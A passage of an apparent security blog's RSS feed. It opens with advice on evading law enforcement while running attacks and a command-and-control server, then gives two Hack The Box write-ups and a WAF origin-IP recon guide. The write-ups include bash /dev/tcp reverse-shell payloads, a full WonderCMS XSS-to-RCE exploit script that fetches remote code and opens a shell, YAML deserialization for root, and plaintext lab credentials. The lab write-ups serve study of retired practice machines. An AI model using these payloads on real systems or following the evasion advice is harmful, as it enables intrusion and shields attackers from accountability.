accounts.<br>- Use Torctl and route all of your traffic through the tor network and keep your mac address randomized with it.<br>- When doing attacks in public you need to use linux tails or Qubes. Debian, Kali, Arch, Parrot, etc… are not enough</p><p>When you are communicating during an attack first have a custom super long password for each other beforehand to encrypt your emails when you send messages then when you trade credentials for an onion chat hosting with onionshare. Make sure it is 100% randomized with extended ascii on the max length. Once you use it once, it is just for that one chat.<br>- Signal is also another good option without the complication though way more vulnerable to attacks.</p><p>Note: No connection is 100% secure, anything connected to wifi can be hacked remotely, even connected to a VPN( virtual private network ), even routed through tor. Expect to be exploited or get exploited. A computer is logic not magic. You don’t know more than the NSA and other<br>intelligences with quantum engineering.</p><p>Common Opsec Fails:<br>Contamination — mixing real and fake identities; for example using the real name as a username, using real email addresses, domains registered in the real name, use of home IP address for operations.<br>- Reuse of credentials — the higher the reuse the higher the risk of being discovered<br>- Weak passwords<br>- Forgetting basic OPSEC — connecting to the victim or C2 system with the real IP address by mistake<br>- Testing malware on their own computer, infecting it and becoming a part of a tracked botnet<br>- Leaving trails in malware to get public attention<br>- Bragging on social networks<br>- Following their own real personal accounts on social networks<br>- Leaving payment trails<br>- Leaving trails of activity in browser cache<br>- Collaborators exposing activities either through bad OPSEC or deliberately after cooperating with law enforcement agencies or otherwise<br>- Not using a virtual private network, recommendation is Mullvad.<br>- Make sure you are using Tor on the safest settings.<br>- Randomize your MAC address.<br>- Remember to change your host-name.<br>- Port spoofing if you are a public network. ( optional )<br>- If it includes an ID and is a more tracked location go under a fake name ( make it believable).<br>- If you believe you are being tracked on social media that you cannot delete, change your name to a fake ID and have fake addresses linked to the account. It’s your best bet.<br>- Don’t be dumb always expect the worst from the government that includes quantum computers and supercomputers.<br>- Remember AES 256 GCM, CCM, XTS, CBC( CBC must be implemented correctly! ) orother cryptographically secure algorithms, never use asymmetric encryption like RSA. If something can be encrypted, encrypt it, it’ll become a habit.<br>- If you decide to use a custom proxy make sure you pair it with another secure proxy. Best to just use a VPN( highly anonymous proxy ).<br>- The server we use will be used by law enforcement to learn new stuff about you. Remember that.<br>- The feds will identify the CNC with the IP, and they will track you by linking connections to the CNC so use a good VPN.<br>- Feds and researchers will try to hack the CNC so don’t be dumb whilst developing it.<br>- Nothing personal can be on the CNC, at all.</p><p>Part 2 coming soon … Stay Tuned- Stay Safe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*G8duvQUOdrAjlNsteWXzlw.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f65f196ecd4e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Precious HTB WriteUp]]></title>
            <link>https://vedantyaduvanshi.medium.com/htb-writeup-precious-500d67472e6c?source=rss-14d223728bcd------2</link>
            <guid isPermaLink="false">https://medium.com/p/500d67472e6c</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[htb]]></category>
            <dc:creator><![CDATA[Vedant Yaduvanshi]]></dc:creator>
            <pubDate>Sun, 12 Jan 2025 13:27:52 GMT</pubDate>
            <atom:updated>2025-01-12T14:29:08.887Z</atom:updated>
            <content:encoded><![CDATA[<h3>HTB Writeup Precious</h3><p>Hacking 101 : Hack The Box Writeup 03</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/243/1*MspuQ1BSSIZwgTl4iHGwYw.png" /></figure><p><strong>Precious </strong>is a retired Linux box on HTB with an easy difficulty rating.</p><p>This is the write-up on how I hacked it. <strong>I encourage you to try finding the loopholes on your own first. </strong>😊.</p><blockquote>I try writing one (maybe 2 if i get time) write ups every week here on medium and also they get pushed to my <a href="https://github.com/vedantyaduvanshi/HTB-Write-Ups">Github</a>.</blockquote><p>First things first, we will start with an Nmap scan to check for open ports.</p><pre><strong>nmap -sC -sV 10.129.228.98</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eCru75KHyAantWHdc2Wkcw.png" /></figure><p>We have 2 TCP ports open , one being ssh and other being 80 http.</p><p>So , lets add the IP address and domain to our <strong>/etc/hosts</strong> file.</p><p>After that lets visit precious.htb to reveals a web application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vkF7PDbxpbI1m-kfjufORA.png" /></figure><p>After running some obvious fuzzing and finding nothing interesting . I curl the website to find some information in headers .</p><p><em>-i to display all response headers</em></p><pre><strong>curl -i http://precious.htb</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/914/1*qGsbQCiD3XI8PPOw8xaSBA.png" /></figure><p>This tells us that web server is nginx and running Phusion Passsenger which is also a web server and the Runtime is Ruby.</p><p>Now if you look at the service provide by the website is converting webpages to pdfs , so lets try and see how it works .</p><p>I started a python webserver on 8000 , to check if i can get a hit.</p><pre><strong> python3 -m http.server</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*sjir-SkdmdVrZS14nI3Nfg.png" /></figure><p>And i got get a hit back and it generates a pdf file with a random generated name <em>mxul253ivxexyvy2xr0snhck5imfqjj1.pdf.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*st8gAR_ntd_YM6-C6m2Z8g.png" /></figure><p>Generated PDF:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5dtPu3Mzya19PhwjYBqxnw.png" /></figure><p>Running exiftool to look at the metadata on the downloaded PDF shows a “Creator” of “Generated by pdfkit v0.8.6”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*drrImvOv7ry1QQ39ZeeHoQ.png" /></figure><p>Now after some googling we get a ton of hits about CVE-2022–25765. which is a vulnerability in pdfkit v0.8.6. (Command Injection).</p><p>Now according to the article and details mentioned <a href="https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795"><strong>snyk </strong></a>article , we can try to get a bash rev shell.</p><pre>http://10.10.14.80/?name=%20`bash -c &quot;bash -i &gt;&amp; /dev/tcp/10.10.14.80/1234 0&gt;&amp;1&quot;`</pre><p>Before executing this , lets start a nc listener on port 1234.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/1*syG1SImNrbIwP4MtXPiPzg.png" /></figure><p>Now upon Submitting the payload , we got a shell back .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wKuLhIKispZrEJaXlB0szA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SRyG8YgLn_wLCLnuRj0ecA.png" /></figure><p>You wont be able to open the user.txt inside dir henry yet .</p><p>While trying to enumerate our user’s home directory reveals a .bundle directory, which commonly hosts configuration files used by Gem and other Ruby repositories. Specifically inside Home &gt; Ruby &gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*CsNideF0VGdDEDH4hejbDw.png" /></figure><p>Inside bundle , we can find a config file which reveals some plain-text credentials for the henry user.</p><p>So now we can SSH into the box using the credentials.</p><pre>User:henry<br>Password:Q3c1AqGHtoI0aXAYFH</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OluZ5zrIHKck527sswooOQ.png" /></figure><p>cat user.txt to get user flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ILgZMgZnEllkFrxsyHYB9g.png" /></figure><p><strong>Privilege Escalation</strong></p><p>Now lets check for sudo privileges for current user that is Henry by sudo -l.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tuf2gdkaccGEXcEMwgUBEQ.png" /></figure><p>Henry may not be the most privileged user but he still can run this file /usr/bin/ruby /opt/update_dependencies.rb</p><p>Moving ahead lets check what does this script contains :</p><pre>require &quot;yaml&quot;<br>require &#39;rubygems&#39;<br><br># TODO: update versions automatically<br>def update_gems()<br>end<br><br>def list_from_file<br>    YAML.load(File.read(&quot;dependencies.yml&quot;))<br>end<br><br>def list_local_gems<br>    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}<br>end<br><br>gems_file = list_from_file<br>gems_local = list_local_gems<br><br>gems_file.each do |file_name, file_version|<br>    gems_local.each do |local_name, local_version|<br>        if(file_name == local_name)<br>            if(file_version != local_version)<br>                puts &quot;Installed version differs from the one specified in file: &quot; + local_name<br>            else<br>                puts &quot;Installed version is equals to the one specified in file: &quot; + local_name<br>            end<br>        end<br>    end<br>end</pre><p>The line that is of interest here is:</p><pre>def list_from_file<br>    YAML.load(File.read(&quot;dependencies.yml&quot;))<br>end</pre><p>Both <a href="https://pynative.com/python-yaml/#h-loading-a-yaml-document-safely-using-safe_load">Python</a> and <a href="https://apidock.com/ruby/Psych/safe_load/class">Ruby</a> have a safe_load function for loading YAML. This is because both had issues with the original load and deserializing the YAML payload, resulting in code execution.</p><p><a href="https://gist.github.com/staaldraad/89dffe369e1454eedd3306edc8a7e565#file-ruby_yaml_load_sploit2-yaml">This gist</a> has a really nice and succinct example of a payload that can be used to exploit YAML deserialization in Ruby. It’s based on this <a href="https://www.elttam.com.au/blog/ruby-deserialization/">much longer and more detailed article</a>.</p><p>Now to get root :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*J3cG4KFMiZYA0B1jGeQm0Q.png" /></figure><p>paste this payload to your dependencies.yml you just created :</p><blockquote>after pasting you can close the vi file by pressing Esc then type :wq and press Enter</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*TwsoJf9KS-Qj2HWNPSWd7w.png" /></figure><p>Copy this code from <a href="https://github.com/vedantyaduvanshi/HTB-Write-Ups/blob/main/htbPreciousFile"><em>here </em></a>.</p><p>After I run this, there’s a file at /tmp/0xdf:</p><pre>sudo ruby /opt/update_dependencies.rb</pre><pre>ls -l /tmp/0xdf</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*AC0ee_UT2WktFf4NxmD0Ig.png" /></figure><p>Running with -p gives a shell with effective UID and GID as root:</p><pre>/tmp/0xdf -p</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aDl-IGROVVrf5HN4ii6cEw.png" /></figure><p>Get your root flag :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1z3dvbJNKPbEQ-xCDvh21A.png" /></figure><p>Congrats🥰 and have a good day ahead hacker.</p><p>Ps — <em>Coming Week , i will be posting more of Medium and Hard machines</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=500d67472e6c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Finding the Origin IP Address of Websites Behind WAFs]]></title>
            <link>https://vedantyaduvanshi.medium.com/finding-the-real-ip-address-of-websites-behind-wafs-83ab18e5f237?source=rss-14d223728bcd------2</link>
            <guid isPermaLink="false">https://medium.com/p/83ab18e5f237</guid>
            <category><![CDATA[methodology]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ip]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Vedant Yaduvanshi]]></dc:creator>
            <pubDate>Mon, 30 Dec 2024 21:32:03 GMT</pubDate>
            <atom:updated>2024-12-31T00:37:57.400Z</atom:updated>
            <content:encoded><![CDATA[<p>Hacking 101: Finding the real IP Address of Websites Behind WAFs</p><p>Knowing the origin IP address of a website can provide a significant advantage during penetration testing. . So in this article i will share a few effective methods you can add into your methodologies to find the IP addresses of websites protected by WAFs.</p><p>Finding the IP address behind WAF protection is often a trial-and-error process. Keep testing the IPs you uncover during your search ,with persistence, you may eventually hit the origin IP.</p><blockquote>Always obtain explicit written authorization before conducting any penetration testing or hacking activities on any network or server. <strong>You are RESPONSIBLE for your actions.</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*IubAeUEA9T-Q2vroUS5CZg.jpeg" /></figure><p><strong>Ping</strong>: Start by pinging the website to check which IP it connects to. This can also reveal if there is a WAF protecting the site.</p><pre>ping example.com</pre><p><strong>Dig</strong>: dig(Domain Information Groper) can reveal the IP address of a domain by querying DNS records. It primarily fetches <strong>A (IPv4)</strong> or <strong>AAAA (IPv6)</strong> records, which map domain names to IP addresses.</p><pre>dig example.com</pre><p><strong>DNS reconnaissance: </strong>sometimes reveal the real IP address of a server, even if it is protected by a WAF. While WAFs like Cloudflare mask the origin IP, DNS misconfigurations or overlooked records can expose it.</p><p>You can use other dns recon tools too:</p><pre>dnsrecon -d example.com</pre><p><strong>Shodan Extension : </strong>The Shodan plugin tells you where the website is hosted (country, city), who owns the IP and what other services/ ports are open. While it often reveals WAF-protected IPs, the plugin is still worth mentioning as part of the reconnaissance process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/348/1*xnquxpuBMmOASPbExQIHCA.png" /></figure><p><strong>Shodan Search</strong> : You can try searching for the ip on the Search Engine of Shodan , use this search filter.</p><pre>Ssl.cert.subject.CN:&#39;example.com&#39; 200</pre><p><strong>Using Favicon Hash:</strong> Obtain the favicon link of a website using services like <a href="https://favicons.teamtailor-cdn.com/"><strong>The Favicon finder</strong></a> , then generate the hash using <a href="https://favicon-hash.kmsec.uk/">F<strong>avicon hash generator</strong></a><strong> , </strong>now search for it on platforms like <strong>Shodan</strong> or <strong>Censys.</strong>This can reveal IP addresses associated with the same favicon, potentially leading you to the origin IP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*q0gP1jJFDqKcusuKPJagSQ.png" /></figure><p><strong>IP History</strong>: You can search for historical IP addresses of a domain. This can help you find the origin IP. You can use <a href="https://viewdns.info/">ViewDNS.info</a> for this. This data may reveal the real IP address before the domain was protected by a WAF.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/345/1*SdyEzPs5_WieoKJ2rRe55Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hKKlNPoxuBMJoYQatYa1Tg.png" /></figure><p><strong>SPF Records: </strong>You can identify the IP address of a domain by checking its SPF (Sender Policy Framework) record. SPF records often list authorized mail servers, which can reveal the domain’s IP. Tools like <a href="https://mxtoolbox.com/SuperTool.aspx#">MXToolbox</a> allow you to look up SPF records easily.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*bSDNsxivwIaJmL-67QMlRw.png" /></figure><p><strong>SecurityTrails: </strong>You can use SecurityTrails to check historical data for a domain. By viewing the historical information, you may be able to find the IP address of the domain before it was protected by a WAF.</p><p><strong>Censys Search Engine: </strong>Simply enter the domain name in the search bar, and Censys will return relevant information, including IP addresses, that may help you identify the domain’s associated IPs.</p><p><strong>FOFA Search Engine: </strong>FOFA is another powerful search engine that can be used to find IP addresses and other information related to a domain. By entering a domain name into FOFA, you can search for associated IPs.</p><p><strong>ZoomEye</strong>: Enter the domain name or relevant keyword in the search bar. ZoomEye will return results related to the domain, including associated IP addresses and other exposed services.</p><p>This is it for now, though there are many more ways to find IP addresses that we will discuss in upcoming articles. I hope you found this information helpful. Keep in mind that finding an IP address is often a trial-and-error game, so don’t hesitate to keep trying the IPs you discover during the process.</p><p>If you have more unique ways to find IP addresses, kindly let me know in the comments. Thank You</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=83ab18e5f237" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Sea HTB WriteUp]]></title>
            <link>https://vedantyaduvanshi.medium.com/sea-htb-writeup-4556b8e0eeef?source=rss-14d223728bcd------2</link>
            <guid isPermaLink="false">https://medium.com/p/4556b8e0eeef</guid>
            <category><![CDATA[hack-the-box-writeup]]></category>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <dc:creator><![CDATA[Vedant Yaduvanshi]]></dc:creator>
            <pubDate>Fri, 27 Dec 2024 16:31:01 GMT</pubDate>
            <atom:updated>2024-12-27T16:39:59.729Z</atom:updated>
            <content:encoded><![CDATA[<h3>HTB Writeup <strong>Sea</strong></h3><p>Hacking 101 : Hack The Box Writeup 02</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/121/1*TRmSmDcAx9trjtRtfhMEyQ.png" /></figure><p><strong>Sea</strong> is a retired Linux box on HTB with an easy difficulty rating, but the fuzzing part can be quite puzzly.</p><p>This is the write-up on how I hacked it. <strong>I encourage you to try finding the loopholes on your own first. </strong>😊</p><blockquote>I try writing one (maybe 2 if i get time) write ups every week here on medium and also they get pushed to my <a href="https://github.com/vedantyaduvanshi/HTB-Write-Ups">Github</a>.</blockquote><p>First things first, we will start with an Nmap scan to check for open ports.</p><pre><strong> nmap -sC -sV 10.129.197.88</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/1*jLGhcLVJ4TJ_tZIN_xzqKw.png" /></figure><p>From the result, we find 2 open ports.</p><p>Since the HTTP port is open, we can visit the webpage using the IP address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5UQ8Fy1epNo7ESw6FOMgtA.png" /></figure><p>Under “How To Participate” section , we can see a link to contact page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qFRD7z5E9xjdAL6hcbBfRw.png" /></figure><p>Upon clicking that link we are redirected to “<strong>sea.htb/contact.php</strong>” , so lets pause here to add the IP address and domain to our <strong>/etc/hosts</strong> file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TB8yfOUabrNnoyK_MQBurQ.png" /></figure><p>The “Contact Us” page has a form for completing registration, but it appears to be a dead end with little to enumerate.</p><p>So lets go back to the main page <a href="http://sea.htb/"><em>http://sea.htb</em></a><em> </em>and lets try to get some intel.</p><p>Lets start by searching for directories and check if it has any :</p><p>We will use dirb this time:</p><pre><strong>dirb http://sea.htb</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/506/1*L26twZQcQo3YCSiCjWqnjg.png" /></figure><p>Fuzzing on this box is challenging and not the best experience.</p><p>To continue fuzzing, we used <strong>ffuf</strong> with a dedicated wordlist. It’s worth mentioning that you can also use a wordlist with <strong>dirb</strong>.</p><pre><strong>ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u &quot;http://sea.htb/themes/FUZZ&quot; -c -v</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/1*95fStMrvZ-0fZ_7LnmSUmw.png" /></figure><pre><strong>ffuf -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/quickhits.txt -u &quot;http://sea.htb/themes/bike/FUZZ&quot; -t 200 -fc 403</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7ImZDhwNa5kOK-y7vTtNeQ.png" /></figure><p>Upon visiting http://sea.htb/themes/bike/README.md, we find some instructions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*yk3FtMsPfAksUJaSJQ5Zvw.png" /></figure><p>Here, we discover that <strong>Wonder CMS</strong> is being used as the backend CMS. To check the version, we navigate to http://sea.htb/themes/bike/version, which shows <strong>3.2.0</strong>.</p><p>After consulting the internet, we learn that <strong>WonderCMS v3.2.0</strong> is vulnerable to <strong>CVE-2023–41425</strong>, a cross-site scripting (XSS) vulnerability.</p><p>Upon more googling we found the exploit too .</p><p>You can check the exploit <a href="https://gist.github.com/prodigiousMind/fc69a79629c4ba9ee88a7ad526043413">here </a>.</p><p>You can find the exploit online, but to simplify things, you can copy the code from below . <strong>Remember to change the IP address in the highlighted line to match your attacking machine.</strong></p><p>Save the script as exploit.py.</p><pre># Exploit: WonderCMS XSS to RCE<br>import sys<br>import requests<br>import os<br>import bs4<br><br>if (len(sys.argv)&lt;4): print(&quot;usage: python3 exploit.py loginURL IP_Address Port\nexample: python3 exploit.py http://localhost/wondercms/loginURL 192.168.29.165 5252&quot;)<br>else:<br>  data = &#39;&#39;&#39;<br>var url = &quot;&#39;&#39;&#39;+str(sys.argv[1])+&#39;&#39;&#39;&quot;;<br>if (url.endsWith(&quot;/&quot;)) {<br> url = url.slice(0, -1);<br>}<br>var urlWithoutLog = url.split(&quot;/&quot;).slice(0, -1).join(&quot;/&quot;);<br>var urlWithoutLogBase = &quot;http://sea.htb&quot;;<br>var token = document.querySelectorAll(&#39;[name=&quot;token&quot;]&#39;)[0].value;<br><strong>var urlRev = urlWithoutLogBase+&quot;/?installModule=http://10.10.14.45:8000/main.zip&amp;directoryName=violet&amp;type=themes&amp;token=&quot; + token;<br></strong>var xhr3 = new XMLHttpRequest();<br>xhr3.withCredentials = true;<br>xhr3.open(&quot;GET&quot;, urlRev);<br>xhr3.send();<br>xhr3.onload = function() {<br> if (xhr3.status == 200) {<br>   var xhr4 = new XMLHttpRequest();<br>   xhr4.withCredentials = true;<br>   xhr4.open(&quot;GET&quot;, urlWithoutLogBase+&quot;/themes/revshell-main/rev.php&quot;);<br>   xhr4.send();<br>   xhr4.onload = function() {<br>     if (xhr4.status == 200) {<br>       var ip = &quot;&#39;&#39;&#39;+str(sys.argv[2])+&#39;&#39;&#39;&quot;;<br>       var port = &quot;&#39;&#39;&#39;+str(sys.argv[3])+&#39;&#39;&#39;&quot;;<br>       var xhr5 = new XMLHttpRequest();<br>       xhr5.withCredentials = true;<br>       xhr5.open(&quot;GET&quot;, urlWithoutLogBase+&quot;/themes/revshell-main/rev.php?lhost=&quot; + ip + &quot;&amp;lport=&quot; + port);<br>       xhr5.send();<br>       <br>     }<br>   };<br> }<br>};<br>&#39;&#39;&#39;<br>  try:<br>    open(&quot;xss.js&quot;,&quot;w&quot;).write(data)<br>    print(&quot;[+] xss.js is created&quot;)<br>    print(&quot;[+] execute the below command in another terminal\n\n----------------------------\nnc -lvp &quot;+str(sys.argv[3]))<br>    print(&quot;----------------------------\n&quot;)<br>    XSSlink = str(sys.argv[1]).replace(&quot;loginURL&quot;,&quot;index.php?page=loginURL?&quot;)+&quot;\&quot;&gt;&lt;/form&gt;&lt;script+src=\&quot;http://&quot;+str(sys.argv[2])+&quot;:8000/xss.js\&quot;&gt;&lt;/script&gt;&lt;form+action=\&quot;&quot;<br>    XSSlink = XSSlink.strip(&quot; &quot;)<br>    print(&quot;send the below link to admin:\n\n----------------------------\n&quot;+XSSlink)<br>    print(&quot;----------------------------\n&quot;)<br><br>    print(&quot;\nstarting HTTP server to allow the access to xss.js&quot;)<br>    os.system(&quot;python3 -m http.server\n&quot;)<br>  except: print(data,&quot;\n&quot;,&quot;//write this to a file&quot;)</pre><p>After saving the file, run this command to generate the malicious link. Ensure that you replace the IP address with your own.</p><pre><strong>python3 exploit.py http://sea.htb/index.php?page=LoginURL 10.10.14.35 4444</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*_sYdkS_THqZg5IHjGUkZmQ.png" /></figure><p>Now start the nc listener on port 4444</p><pre>nc -lnvp 4444</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/401/1*Mqqau_zeJVlUp9GF-6YafA.png" /></figure><p>Now, return to the registration form and use the malicious link to establish a reverse shell. Enter random details, but ensure you paste the link in the website section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*tIlJclvfh7Uq8CIhph-qqg.png" /></figure><p>After waiting for a min or two , we can see activity on our listener , we got a shell back.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/1*1osYPEfo_mKNV3QH-7VERg.png" /></figure><p>Now to make the shell more stable and usable , run this command.</p><pre> script /dev/null -c bash</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*ClzcE3aF9l29gJVZrMy_lQ.png" /></figure><p>Enumerating the filesystem we find the database for WonderCMS located at /var/www/sea/data/database.js . Reading this file shows a password hash:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*azZ7aOjwSVAZNegvCH5Qrg.png" /></figure><p>We got a password hash , but we still don&#39;t have a username so we check the /etc/passwd file and see which users can access a shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*MUC4eFIgzg3ZWDn2UIie0g.png" /></figure><p>Now , firstly we have to crack the password hash , we will use hashcat for it . Save the password hash into a txt file and name it hash.txt.</p><pre><strong>echo &#39;$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q&#39; &gt; hash.txt</strong></pre><p>Then use hashcat to crack bcrypt hashes.</p><pre><strong>hashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XOpGRa9xck_aBvDHDhQ8UQ.png" /></figure><p>Now we have user and password both , we can su with the user and enter the password we just found.</p><pre>User:amay<br>Password:mychemicalromance</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*MszmoAbWdJGSolbH8r0AfA.png" /></figure><p>After successful attempt , now we can read the User flag at /home/amay/user.txt .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/323/1*Y5B7hEx0nYxxHxhL035lRA.png" /></figure><h4><strong>Privilege Escalation</strong></h4><p>Lets start checking if there are any other ports open internally.</p><pre><strong>netstat -ntlp</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*szdvf841gUwsBX5jW3H73w.png" /></figure><p>We can see that port 8080 is open internally. We forward that port to our local machine using SSH.</p><p>Open a new terminal on your linux distro and type :</p><pre><strong>ssh amay@sea.htb -L 8080:127.0.0.1:8080</strong></pre><p>We will use the same password for amay as before.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z-ZNFGj-Gr80jaLDf2nCzg.png" /></figure><p>Now open your browser and go to 127.0.0.1:8080 and login with amay credentials . You will see a interface like this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/971/1*s0fgdge50uXDn_yEofFqJQ.png" /></figure><p>Now fire up your burp , we will need to intercept a req.</p><p>After turning on the Proxy , chick Analyze on the web interface and capture the request and send it to Repeater.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/1*_k2poxAaAspKk66Y7-EYPQ.png" /></figure><p>Now we will tamper with log_file parameter to check command injection. Without knowing anything about the backend functionality , we can still look for exploitation by giving a command to create a new file. Lets do it.</p><p>Add this to your log_file parameter.</p><pre><strong>;touch /tmp/test.txt</strong></pre><p>Then send the req.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*icNtLwLWKwkXGalSqMDJYA.png" /></figure><p>Now we will check if the filesystem to see if we have created the file /tmp/test.txt .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EPJDtal5tezT1qOVcAqifA.png" /></figure><p>We have successfully gained code execution through a simple command injection.</p><p>Let’s get a reverse shell using the following payload:</p><p>Before that fire up a new terminal and start listening on port 4444.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/313/1*GD1AE3amHexp8eZ6BhlGHA.png" /></figure><p>This is the payload for rev shell , make sure to use your ip.</p><p>bash -c ‘bash -i &gt;&amp; /dev/tcp/10.10.14.45/4444 0&gt;&amp;1’</p><p>But we have to url encode it , after encoding send it .</p><pre><strong>log_file=%2Fvar%2Flog%2Fapache2%2F;bash+-c+&#39;bash+-i+&gt;%26+/dev/tcp/10.10.14.45/4444+0&gt;%261&#39;&amp;analyze_log=</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IW__S_W0kDg4EIQsXec3Zg.png" /></figure><p>After sending the request we obtain a root shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*0nCMQ_l3hRywbwXP2bsVcA.png" /></figure><p>We can read the Root flag from /root/root.txt .</p><p>Congrats🥰 and have a good day ahead hacker.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4556b8e0eeef" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>